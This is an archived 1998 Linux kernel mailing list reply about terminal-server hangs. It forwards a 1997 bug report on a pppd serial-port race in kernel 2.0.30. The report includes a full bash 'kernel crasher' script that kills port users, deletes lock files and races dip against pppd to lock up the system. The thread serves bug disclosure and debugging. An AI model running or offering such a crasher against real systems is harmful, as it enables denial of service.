lkml.org 
[lkml]   [1998]   [Mar]   [10]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
SubjectRe: Sporadious hang on 2.0.3[0,1,2,3,4pre2]
From
please@dont.spam.me wrote:

> Daniel Ryde wrote:
> >We have many servers here running 2.0.3x kernels. Most of these don't have
> >any problems at all, it is very seldom these hangs, even those under heavy
> >load. Exept all the terminal servers.
> >
> >The difference between these is:
> > They mostly run ppp, sometimes slip
> > They use many serial ports
> > They do "slow" forwarding
> > They handle alot of interrups
>
> There was (is?) a race condition in some versions of the ppp driver, whereby
> two pppds could both open the same port. What would happen is that one
> process would close the port and set the speed to zero while another process
> was writing data into it. This would put the kernel into a dead loop.
>
> I thought this bug had long ago been fixed, but it seems it hasn't...

The bug was in 2.0.30. Below is a message describing it:


----- Forwarded Message -----

Date: Sun Jun 01 21:26:47 1997
To: linux-kernel@vger.rutgers.edu
From: ghio@temp0091.myriad.ml.org (Matthew Ghio)
Subject: pppd crashes Linux 2.0.30 kernel

A bug exists in Linux 2.0.30, and likely other versions, which can result
in a kernel crash when more than one pppd process attempt to access the
same serial port. If dip or pppd is setuid root, this opens the
possibility of a denial-of-service attack. The bug has been observed
when running automated dialing scripts and two processes attempt to use
the same modem at the same time.

Specifically, the bug occurs when a pppd process is running on a serial
port and another process resets the port, setting the port speed to zero.
This has no immediately apparent effect, but sending a kill signal
to the pppd process will result in a system crash. Usually lock files
in /var/lock will prevent this situation, however the locking mechanism
can fail when the same serial port has different names (such as
/dev/modem being linked to /dev/ttyS1).

The following script demonstrates the bug by running two pppd processes
then launching and terminating dip. This resulted in a complete lockup
on my system (no oops or kernel panic) as soon as the last line was
executed.

#!/bin/bash

# Linux ppp-bug kernel crasher script

fuser /dev/ttyS1|awk -F: '{print $2}'|xargs kill
rm /var/lock/LCK..ttyS1&
sleep 2

(echo "port ttyS1";\
echo "reset";\
echo "wait 1";\
echo "";\
sleep 15;\
)|/usr/sbin/dip -tv &

sleep 4
rm /var/lock/LCK..ttyS1&
sleep 4
pppd silent debug modem crtscts ttyS1 38400
sleep 4
killall -INT dip
sleep 15
rm /var/lock/LCK..ttyS1&
sleep 1
(echo "port ttyS1";\
echo "send \r";\
echo "wait 1";\
echo "";\
sleep 15;\
)|/usr/sbin/dip -tv &

sleep 4
rm /var/lock/LCK..ttyS1&
sleep 4
pppd silent debug modem crtscts ttyS1 38400
killall -INT dip

sleep 10
killall pppd
sleep 1
killall pppd

# * BOOM * #

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu

\
 
 \ /
  Last update: 2005-03-22 13:41    [W:0.273 / U:0.076 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site